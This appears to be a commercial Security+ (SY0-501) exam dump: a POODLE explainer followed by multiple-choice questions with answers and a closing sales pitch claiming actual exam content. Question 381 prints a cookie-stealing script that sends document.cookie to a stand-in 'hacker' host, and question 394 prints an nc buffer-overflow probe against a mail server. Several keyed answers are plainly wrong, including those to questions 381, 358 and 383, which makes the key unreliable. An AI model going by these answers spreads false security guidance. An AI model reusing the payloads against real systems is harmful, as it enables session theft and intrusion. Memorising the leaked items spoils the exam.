Although SSLv3 is an older version of the protocol which is mainly obsolete, many pieces of software still fall back on SSLv3 if better encryption options are not available. More importantly, it is possible for an attacker to force SSLv3 connections if it is an available alternative for both participants attempting a connection. The POODLE vulnerability affects any services or clients that make it possible to communicate using SSLv3. Because this is a flaw with the protocol design, and not an implementation issue, every piece of software that uses SSLv3 is vulnerable.

To find out more information about the vulnerability, consult the CVE information found at CVE-2014-3566. What is the POODLE Vulnerability?

The POODLE vulnerability is a weakness in version 3 of the SSL protocol that allows an attacker in a man-in-the-middle context to decipher the plain text content of an SSLv3 encrypted message.

Who is Affected by this Vulnerability?

This vulnerability affects every piece of software that can be coerced into communicating with SSLv3. This means that any software that implements a fallback mechanism that includes SSLv3 support is vulnerable and can be exploited.

Some common pieces of software that may be affected are web browsers, web servers, VPN servers, mail servers, etc.

How Does It Work?

In short, the POODLE vulnerability exists because the SSLv3 protocol does not adequately check the padding bytes that are sent with encrypted messages.

Since these cannot be verified by the receiving party, an attacker can replace these and pass them on to the intended destination. When done in a specific way, the modified payload will potentially be accepted by the recipient without complaint.

An average of once out of every 256 requests will be accepted at the destination, allowing the attacker to decrypt a single byte. This can be repeated easily in order to progressively decrypt additional bytes. Any attacker able to repeatedly force a participant to resend data using this protocol can break the encryption in a very short amount of time.

How Can I Protect Myself?

Actions should be taken to ensure that you are not vulnerable in your roles as both a client and a server. Since encryption is usually negotiated between clients and servers, it is an issue that involves both parties.

Servers and clients should take steps to disable SSLv3 support completely. Many applications use better encryption by default, but implement SSLv3 support as a fallback option.

This should be disabled, as a malicious user can force SSLv3 communication if both participants allow it as an acceptable method.

#### NEW QUESTION 248

- (Exam Topic 4)

While reviewing the security controls in place for a web-based application, a security controls assessor notices that there are no password strength requirements in place. Because of this vulnerability, passwords might be easily discovered using a brute force attack. Which of the following password requirements will MOST effectively improve the security posture of the application against these attacks? (Select two)

- A. Minimum complexity
- B. Maximum age limit
- C. Maximum length
- D. Minimum length
- E. Minimum age limit
- F. Minimum re-use limit

**Answer:** AD

#### NEW QUESTION 252

- (Exam Topic 4)

After a security incident, management is meeting with involved employees to document the incident and its aftermath. Which of the following BEST describes this phase of the incident response process?

- A. Lessons learned
- B. Recovery
- C. Identification
- D. Preparation

**Answer:** A

**NEW QUESTION 255**

- (Exam Topic 4)

The computer resource center issued smartphones to all first-level and above managers. The managers have the ability to install mobile tools. Which of the following tools should be implemented to control the types of tools the managers install?

- A. Download manager
- B. Content manager
- C. Segmentation manager
- D. Application manager

**Answer:** D

**NEW QUESTION 259**

- (Exam Topic 4)

An attack that is using interference as its main attack to impede network traffic is which of the following?

- A. Introducing too much data to a targets memory allocation
- B. Utilizing a previously unknown security flaw against the target
- C. Using a similar wireless configuration of a nearby network
- D. Inundating a target system with SYN requests

**Answer:** C

**NEW QUESTION 260**

- (Exam Topic 4)

During a recent audit, it was discovered that many services and desktops were missing security patches. Which of the following BEST describes the assessment that was performed to discover this issue?

- A. Network mapping
- B. Vulnerability scan
- C. Port Scan
- D. Protocol analysis

**Answer:** B

**NEW QUESTION 264**

- (Exam Topic 4)

Ann, a user, states that her machine has been behaving erratically over the past week. She has experienced slowness and input lag and found text files that appear to contain pieces of her emails or online conversations with coworkers. The technician runs a standard virus scan but detects nothing. Which of the following types of malware has infected the machine?

- A. Ransomware
- B. Rootkit
- C. Backdoor
- D. Keylogger

**Answer:** D

**NEW QUESTION 268**

- (Exam Topic 4)

A security administrator needs an external vendor to correct an urgent issue with an organization's physical access control system (PACS). The PACS does not currently have internet access because it is running a legacy operation system.

Which of the following methods should the security administrator select the best balances security and efficiency?

- A. Temporarily permit outbound internet access for the pacs so desktop sharing can be set up
- B. Have the external vendor come onsite and provide access to the PACS directly
- C. Set up VPN concentrator for the vendor and restrict access to the PACS using desktop sharing
- D. Set up a web conference on the administrator's pc; then remotely connect to the pacs

**Answer:** C

**NEW QUESTION 270**

- (Exam Topic 4)

The help desk is receiving numerous password change alerts from users in the accounting department. These alerts occur multiple times on the same day for each of the affected users' accounts. Which of the following controls should be implemented to curtail this activity?

- A. Password Reuse
- B. Password complexity
- C. Password History
- D. Password Minimum age

**Answer:** D

**NEW QUESTION 271**

- (Exam Topic 4)

Which of the following could help detect trespassers in a secure facility? (Select TWO)

- A. Faraday cages
- B. Motion-detection sensors
- C. Tall, chain-link fencing
- D. Security guards
- E. Smart cards

**Answer:** BD

#### NEW QUESTION 276

- (Exam Topic 4)

A security analyst is investigating a security breach. Upon inspection of the audit an access logs, the analyst notices the host was accessed and the /etc/passwd file was modified with a new entry for username "gotcha" and user ID of 0. Which of the following are the MOST likely attack vector and tool the analyst should use to determine if the attack is still ongoing? (Select TWO)

- A. Logic bomb
- B. Backdoor
- C. Keylogger
- D. Netstat
- E. Tracert
- F. Ping

**Answer:** BD

#### NEW QUESTION 281

- (Exam Topic 4)

Which of the following would enhance the security of accessing data stored in the cloud? (Select TWO)

- A. Block level encryption
- B. SAML authentication
- C. Transport encryption
- D. Multifactor authentication
- E. Predefined challenge QUESTION NO:s
- F. Hashing

**Answer:** BD

#### NEW QUESTION 282

- (Exam Topic 4)

When designing a web based client server application with single application server and database cluster backend, input validation should be performed:

- A. On the client
- B. Using database stored procedures
- C. On the application server
- D. Using HTTPS

**Answer:** C

#### NEW QUESTION 284

- (Exam Topic 4)

Which of the following penetration testing concepts is being used when an attacker uses public Internet databases to enumerate and learn more about a target?

- A. Reconnaissance
- B. Initial exploitation
- C. Pivoting
- D. Vulnerability scanning
- E. White box testing

**Answer:** A

#### NEW QUESTION 289

- (Exam Topic 4)

A network administrator adds an ACL to allow only HTTPS connections form host 192.168.2.3 to web server 192.168.5.2. After applying the rule, the host is unable to access the server. The network administrator runs the output and notices the configuration below:

```
accesslist 102 permit tcp host 192.168.2.6 eq 3389 host 192.168.5.2
accesslist 102 deny ip any any log
accesslist 102 permit tcp host 192.1682.3 eq 443 host 192.168.5.2
```

Which of the following rules would be BEST to resolve the issue?



A

```
accesslist 102 permit tcp host 192.168.2.3 host 192.168.5.2 eq 443
accesslist 102 permit tcp host 192.168.2.6 host 192.168.5.2 eq 3389
accesslist 102 deny ip any any log
```

B

```
accesslist 102 permit tcp host 192.168.2.6 host 192.168.5.2 eq 3389
accesslist 102 deny ip any any log
accesslist 102 permit tcp host 192.168.2.3 host 192.168.5.2 eq 443
```

C

```
accesslist 102 permit tcp host 192.168.2.3 eq 443 host 192.168.5.2
accesslist 102 deny ip any any log
accesslist 102 permit tcp host 192.168.2.6 eq 3389 host 192.168.5.2
```

D

```
accesslist 102 permit tcp host 192.168.2.3 host 192.168.5.2
accesslist 102 permit tcp host 192.168.2.6 eq 3389 host 192.168.5.2
accesslist 102 deny ip any any log
```

- A. Option A
- B. Option B
- C. Option C
- D. Option D

**Answer:** A

#### NEW QUESTION 293

- (Exam Topic 5)

A help desk technician receives a phone call from an individual claiming to be an employee of the organization and requesting assistance to access a locked account. The help desk technician asks the individual to provide proof of identity before access can be granted. Which of the following types of attack is the caller performing?

- A. Phishing
- B. Shoulder surfing
- C. Impersonation
- D. Dumpster diving

**Answer:** C

#### NEW QUESTION 296

- (Exam Topic 5)

Which of the following metrics are used to calculate the SLE? (Select TWO)

- A. ROI
- B. ARO
- C. ALE
- D. MTBF
- E. MTTF
- F. TCO

**Answer:** BC

#### NEW QUESTION 297

- (Exam Topic 5)

Every morning, a systems administrator monitors failed login attempts on the company's log management server. The administrator notices the DBAdmin account has five failed username and/or password alerts during a ten-minute window. The systems administrator determines the user account is a dummy account used to attract attackers. Which of the following techniques should the systems administrator implement?

- A. Role-based access control
- B. Honeypot
- C. Rule-based access control
- D. Password cracker

**Answer:** B



#### NEW QUESTION 301

- (Exam Topic 5)

A company is deploying smartphones for its mobile salesforce. These devices are for personal and business use but are owned by the company. Sales personnel will save new customer data via a custom application developed for the company. This application will integrate with the contact information stored in the smartphones and will populate new customer records onto it. The customer application's data is encrypted at rest, and the application's connection to the back office system is considered secure. The Chief Information Security Officer (CISO) has concerns that customer contact information may be accidentally leaked due to the limited security capabilities of the devices and the planned controls. Which of the following will be the MOST efficient security control to implement to lower this risk?

- A. Implement a mobile data loss agent on the devices to prevent any user manipulation with the contact information.
- B. Restrict screen capture features on the devices when using the custom application and the contact information.
- C. Restrict contact information storage dataflow so it is only shared with the customer application.
- D. Require complex passwords for authentication when accessing the contact information.

**Answer: C**

#### NEW QUESTION 305

- (Exam Topic 5)

A hacker has a packet capture that contains:

```
....Joe Smith.....E289F21CD33E4F57890DDEA5CF267ED2..  
....Jane.Doe.....AD1FAB10D33E4F57890DDEA5CF267ED2..  
....John.Key.....3374E9E7E33E4F57890DDEA5CF267ED2..
```

Which of the following tools will the hacker use against this type of capture?

- A. Password cracker
- B. Vulnerability scanner
- C. DLP scanner
- D. Fuzzer

**Answer: A**

#### NEW QUESTION 310

- (Exam Topic 5)

Two users must encrypt and transmit large amounts of data between them. Which of the following should they use to encrypt and transmit the data?

- A. Symmetric algorithm
- B. Hash function
- C. Digital signature
- D. Obfuscation

**Answer: A**

#### NEW QUESTION 315

- (Exam Topic 5)

A small company's Chief Executive Officer (CEO) has asked its Chief Security Officer (CSO) to improve the company's security posture quickly with regard to targeted attacks. Which of the following should the CSO conduct FIRST?



- A. Survey threat feeds from services inside the same industry.
- B. Purchase multiple threat feeds to ensure diversity and implement blocks for malicious traffic
- C. Conduct an internal audit against industry best practices to perform a qualitative analysis.
- D. Deploy a UTM solution that receives frequent updates from a trusted industry vendor.

**Answer: A**

#### NEW QUESTION 317

- (Exam Topic 5)

A security analyst is hardening a WiFi infrastructure. The primary requirements are the following:

-  The infrastructure must allow staff to authenticate using the most secure method.
-  The infrastructure must allow guests to use an "open" WiFi network that logs valid email addresses before granting access to the Internet.

Given these requirements, which of the following statements BEST represents what the analyst should recommend and configure?

- A. Configure a captive portal for guests and WPS for staff.
- B. Configure a captive portal for staff and WPA for guests.
- C. Configure a captive portal for staff and WEP for guests.
- D. Configure a captive portal for guest and WPA2 Enterprise for staff

**Answer: D**

#### NEW QUESTION 319

- (Exam Topic 5)

A company has two wireless networks utilizing captive portals. Some employees report getting a trust error in their browsers when connecting to one of the networks. Both captive portals are using the same server certificate for authentication, but the analyst notices the following differences between the two certificate details:

Certificate 1

Certificate Path: Geotrust Global CA

\*company.com Certificate 2 Certificate Path:

\*company.com

Which of the following would resolve the problem?

- A. Use a wildcard certificate.
- B. Use certificate chaining.
- C. Use a trust model.
- D. Use an extended validation certificate.

**Answer:** B

#### NEW QUESTION 321

- (Exam Topic 5)

Which of the following types of penetration test will allow the tester to have access only to password hashes prior to the penetration test?

- A. Black box
- B. Gray box
- C. Credentialed
- D. White box

**Answer:** B

#### NEW QUESTION 323

- (Exam Topic 5)

A security analyst is attempting to identify vulnerabilities in a customer's web application without impacting the system or its data. Which of the following BEST describes the vulnerability scanning concept performed?

- A. Aggressive scan
- B. Passive scan
- C. Non-credentialed scan
- D. Compliance scan

**Answer:** B

#### Explanation:

Passive scanning is a method of vulnerability detection that relies on information gleaned from network data that is captured from a target computer without direct interaction.

Packet sniffing applications can be used for passive scanning to reveal information such as operating system, known protocols running on non-standard ports and active network applications with known bugs. Passive scanning may be conducted by a network administrator scanning for security vulnerabilities or by an intruder as a preliminary to an active attack.

For an intruder, passive scanning's main advantage is that it does not leave a trail that could alert users or administrators to their activities. For an administrator, the main advantage is that it doesn't risk causing undesired behavior on the target computer, such as freezes. Because of these advantages, passive scanning need not be limited to a narrow time frame to minimize risk or disruption, which means that it is likely to return more information.

Passive scanning does have limitations. It is not as complete in detail as active vulnerability scanning and cannot detect any applications that are not currently sending out traffic; nor can it distinguish false information put out for obfuscation.

#### NEW QUESTION 324

- (Exam Topic 5)

A security analyst is inspecting the results of a recent internal vulnerability scan that was performed against intranet services. The scan reports include the following critical-rated vulnerability:

Title: Remote Command Execution vulnerability in web server Rating: Critical (CVSS 10.0) Threat actor: any remote user of the web server

Confidence: certain

Recommendation: apply vendor patches

Which of the following actions should the security analyst perform FIRST?

- A. Escalate the issue to senior management.
- B. Apply organizational context to the risk rating.
- C. Organize for urgent out-of-cycle patching.
- D. Exploit the server to check whether it is a false positive.

**Answer:** B

#### NEW QUESTION 325

- (Exam Topic 5)

A user typically works remotely over the holidays using a web-based VPN to access corporate resources. The user reports getting untrusted host errors and being unable to connect. Which of the following is MOST likely the case?

- A. The certificate has expired
- B. The browser does not support SSL
- C. The user's account is locked out
- D. The VPN software has reached the seat license maximum

**Answer:** A

#### NEW QUESTION 329

- (Exam Topic 5)

An external attacker can modify the ARP cache of an internal computer. Which of the following types of attacks is described?

- A. Replay

- B. Spoofing
- C. DNS poisoning
- D. Client-side attack

**Answer:** B

#### NEW QUESTION 331

- (Exam Topic 5)

A company is allowing a BYOD policy for its staff. Which of the following is a best practice that can decrease the risk of users jailbreaking mobile devices?

- A. Install a corporately monitored mobile antivirus on the devices.
- B. Prevent the installation of applications from a third-party application store.
- C. Build a custom ROM that can prevent jailbreaking.
- D. Require applications to be digitally signed.

**Answer:** D

#### NEW QUESTION 332

- (Exam Topic 5)

Which of the following components of printers and MFDs are MOST likely to be used as vectors of compromise if they are improperly configured?

- A. Embedded web server
- B. Spooler
- C. Network interface
- D. LCD control panel

**Answer:** A

#### NEW QUESTION 335

- (Exam Topic 5)

A security analyst is securing smartphones and laptops for a highly mobile workforce.

Priorities include:

- ☒ Remote wipe capabilities
- ☒ Geolocation services
- ☒ Patch management and reporting
- ☒ Mandatory screen locks
- ☒ Ability to require passcodes and pins
- ☒ Ability to require encryption

Which of the following would BEST meet these requirements?

- A. Implementing MDM software
- B. Deploying relevant group policies to the devices
- C. Installing full device encryption
- D. Removing administrative rights to the devices

**Answer:** A

#### NEW QUESTION 336

- (Exam Topic 5)

A recent internal audit is forcing a company to review each internal business unit's VMs because the cluster they are installed on is in danger of running out of computer resources. Which of the following vulnerabilities exist?

- A. Buffer overflow
- B. End-of-life systems
- C. System sprawl
- D. Weak configuration

**Answer:** C

#### NEW QUESTION 337

- (Exam Topic 5)

A user downloads and installs an MP3 converter, and runs the application. Upon running the application, the antivirus detects a new port in a listening state. Which of the following has the user MOST likely executed?

- A. RAT
- B. Worm
- C. Ransomware
- D. Bot

**Answer:** A

#### NEW QUESTION 339

- (Exam Topic 5)

When it comes to cloud computing, if one of the requirements for a project is to have the most control over the systems in the cloud, which of the following is a service model that would be BEST suited for this goal?

- A. Infrastructure
- B. Platform
- C. Software
- D. Virtualization

**Answer:** A

#### NEW QUESTION 343

- (Exam Topic 5)

Which of the following solutions should an administrator use to reduce the risk from an unknown vulnerability in a third-party software application?

- A. Sandboxing
- B. Encryption
- C. Code signing
- D. Fuzzing

**Answer:** A

#### NEW QUESTION 347

- (Exam Topic 5)

A stock trading company had the budget for enhancing its secondary datacenter approved. Since the main site is a hurricane-affected area and the disaster recovery site is 100 mi (161 km) away, the company wants to ensure its business is always operational with the least amount of man hours needed. Which of the following types of disaster recovery sites should the company implement?

- A. Hot site
- B. Warm site
- C. Cold site
- D. Cloud-based site

**Answer:** D

#### NEW QUESTION 351

- (Exam Topic 5)

A company is performing an analysis of the corporate enterprise network with the intent of identifying what will cause losses in revenue, referrals, and/or reputation when out of commission. Which of the following is an element of a BIA that is being addressed?

- A. Mission-essential function
- B. Single point of failure
- C. backup and restoration plans
- D. Identification of critical systems

**Answer:** A

#### Explanation:

The BIA is composed of the following three steps: Determine mission/business processes and recovery criticality. Mission/business processes supported by the system are identified and the impact of a system disruption to those processes is determined along with outage impacts and estimated downtime.

#### NEW QUESTION 355

- (Exam Topic 5)

Which of the following threats has sufficient knowledge to cause the MOST danger to an organization?

- A. Competitors
- B. Insiders
- C. Hacktivists
- D. Script kiddies

**Answer:** B

#### NEW QUESTION 358

- (Exam Topic 5)

A security administrator has written a script that will automatically upload binary and text-based configuration files onto a remote server using a scheduled task. The configuration files contain sensitive information. Which of the following should the administrator use? (Select TWO)

- A. TOPT
- B. SCP
- C. FTP over a non-standard port
- D. SRTP
- E. Certificate-based authentication
- F. SNMPv3

**Answer:** CE

#### NEW QUESTION 362

- (Exam Topic 5)

An organization wants to upgrade its enterprise-wide desktop computer solution. The organization currently has 500 PCs active on the network. the Chief Information Security Officer (CISO) suggests that the organization employ desktop imaging technology for such a large scale upgrade. Which of the following is a security benefit of implementing an imaging solution?

- A. it allows for faster deployment
- B. it provides a consistent baseline
- C. It reduces the number of vulnerabilities
- D. It decreases the boot time

**Answer:** B

#### NEW QUESTION 365

- (Exam Topic 5)

A security analyst is investigating a potential breach. Upon gathering, documenting, and securing the evidence, which of the following actions is the NEXT step to minimize the business impact?

- A. Launch an investigation to identify the attacking host
- B. Initiate the incident response plan
- C. Review lessons learned captured in the process
- D. Remove malware and restore the system to normal operation

**Answer:** D

#### NEW QUESTION 370

- (Exam Topic 5)

Upon entering an incorrect password, the logon screen displays a message informing the user that the password does not match the username provided and is not the required length of 12 characters. Which of the following secure coding techniques should a security analyst address with the application developers to follow security best practices?

- A. Input validation
- B. Error handling
- C. Obfuscation
- D. Data exposure

**Answer:** B

#### NEW QUESTION 371

- (Exam Topic 5)

Which of the following is the proper order for logging a user into a system from the first step to the last step?

- A. Identification, authentication, authorization
- B. Identification, authorization, authentication
- C. Authentication, identification, authorization
- D. Authentication, identification, authorization
- E. Authorization, identification, authentication

**Answer:** A

#### NEW QUESTION 376

- (Exam Topic 5)

A bank uses a wireless network to transmit credit card purchases to a billing system.

Which of the following would be MOST appropriate to protect credit card information from being accessed by unauthorized individuals outside of the premises?

- A. Air gap
- B. Infrared detection
- C. Faraday cage
- D. Protected distributions

**Answer:** C

#### NEW QUESTION 379

- (Exam Topic 5)

Confidential emails from an organization were posted to a website without the organization's knowledge. Upon investigation, it was determined that the emails were obtained from an internal actor who sniffed the emails in plain text. Which of the following protocols, if properly implemented, would have MOST likely prevented the emails from being sniffed? (Select TWO)

- A. Secure IMAP
- B. DNSSEC
- C. S/MIME
- D. SMTPS
- E. HTTPS

**Answer:** CD

#### NEW QUESTION 380

- (Exam Topic 5)

A bank is experiencing a DoS attack against an application designed to handle 500 IP-based sessions. in addition, the perimeter router can only handle 1Gbps of



traffic.

Which of the following should be implemented to prevent a DoS attacks in the future?

- A. Deploy multiple web servers and implement a load balancer
- B. Increase the capacity of the perimeter router to 10 Gbps
- C. Install a firewall at the network to prevent all attacks
- D. Use redundancy across all network devices and services

**Answer:** D

#### NEW QUESTION 381

- (Exam Topic 5)

An attacker exploited a vulnerability on a mail server using the code below.

```
<HTML><body  
onload=document.location.replace  
(http://hacker/post.asp?victim&message =" + document.cookie + "<br>" + "URL:" + "document.location) ;  
>  
</body>  
</HTML>
```

Which of the following BEST explains what the attacker is doing?

- A. The attacker is replacing a cookie.
- B. The attacker is stealing a document.
- C. The attacker is replacing a document.
- D. The attacker is deleting a cookie.

**Answer:** C

#### NEW QUESTION 383

- (Exam Topic 5)

Which of the following controls allows a security guard to perform a post-incident review?

- A. Detective
- B. Preventive
- C. Corrective
- D. Deterrent

**Answer:** C

#### NEW QUESTION 386

- (Exam Topic 5)

A computer emergency response team is called at midnight to investigate a case in which a mail server was restarted. After an initial investigation, it was discovered that email is being exfiltrated through an active connection. Which of the following is the NEXT step the team should take?

- A. Identify the source of the active connection
- B. Perform eradication of active connection and recover
- C. Performance containment procedure by disconnecting the server
- D. Format the server and restore its initial configuration

**Answer:** A

#### NEW QUESTION 390

- (Exam Topic 5)

A systems administrator is configuring a system that uses data classification labels.

Which of the following will the administrator need to implement to enforce access control?

- A. Discretionary access control
- B. Mandatory access control
- C. Role-based access control
- D. Rule-based access control

**Answer:** B

#### NEW QUESTION 393

- (Exam Topic 5)

A new security administrator ran a vulnerability scanner for the first time and caused a system outage. Which of the following types of scans MOST likely caused the outage?

- A. Non-intrusive credentialed scan
- B. Non-intrusive non-credentialed scan
- C. Intrusive credentialed scan
- D. Intrusive non-credentialed scan

**Answer:** D



#### NEW QUESTION 394

- (Exam Topic 5)

During a routine vulnerability assessment, the following command was successful:

```
echo "vrfy 'perl -e 'print "hi" x 500 ' ' ' | nc www.company.com 25
```

 Which of the following vulnerabilities is being exploited?

- A. Buffer overflow directed at a specific host MTA
- B. SQL injection directed at a web server
- C. Cross-site scripting directed at www.company.com
- D. Race condition in a UNIX shell script

**Answer:** A

#### NEW QUESTION 398

- (Exam Topic 5)

A home invasion occurred recently in which an intruder compromised a home network and accessed a WiFi-enabled baby monitor while the baby's parents were sleeping.

Which of the following BEST describes how the intruder accessed the monitor?

- A. Outdated antivirus
- B. WiFi signal strength
- C. Social engineering
- D. Default configuration

**Answer:** D

#### NEW QUESTION 401

- (Exam Topic 5)

Joe, a salesman, was assigned to a new project that requires him to travel to a client site. While waiting for a flight, Joe, decides to connect to the airport wireless network without connecting to a VPN, and he sends confidential emails to fellow colleagues. A few days later, the company experiences a data breach. Upon investigation, the company learns Joe's emails were intercepted. Which of the following MOST likely caused the data breach?

- A. Policy violation
- B. Social engineering
- C. Insider threat
- D. Zero-day attack

**Answer:** A

#### NEW QUESTION 406

- (Exam Topic 5)

A security analyst is acquiring data from a potential network incident. Which of the following evidence is the analyst MOST likely to obtain to determine the incident?

- A. Volatile memory capture
- B. Traffic and logs
- C. Screenshots
- D. System image capture

**Answer:** B

#### NEW QUESTION 407

.....

## Thank You for Trying Our Product

### We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

### SY0-501 Practice Exam Features:

- \* SY0-501 Questions and Answers Updated Frequently
- \* SY0-501 Practice Questions Verified by Expert Senior Certified Staff
- \* SY0-501 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- \* SY0-501 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

**100% Actual & Verified — Instant Download, Please Click**  
**[Order The SY0-501 Practice Test Here](#)**